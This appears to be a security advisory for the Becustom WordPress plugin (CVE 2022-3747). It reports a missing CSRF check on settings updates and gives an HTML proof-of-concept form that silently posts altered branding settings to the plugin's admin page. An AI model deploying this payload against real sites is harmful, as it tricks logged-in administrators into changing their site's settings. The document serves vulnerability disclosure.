Becustom < 1.0.5.3 – Settings Update via CSRF | CVE 2022-3747

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=be_custom_branding" method="POST">
      <input type="hidden" name="betheme&#95;label" value="" />
      <input type="hidden" name="betheme&#95;url&#95;slug" value="" />
      <input type="hidden" name="replaced&#95;logo&#95;url" value="" />
      <input type="hidden" name="replaced&#95;theme&#95;image" value="" />
      <input type="hidden" name="replaced&#95;theme&#95;desc" value="" />
      <input type="hidden" name="replaced&#95;theme&#95;author" value="Muffin&#32;Group&#32;1337" />
      <input type="hidden" name="submit" value="Save&#32;changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>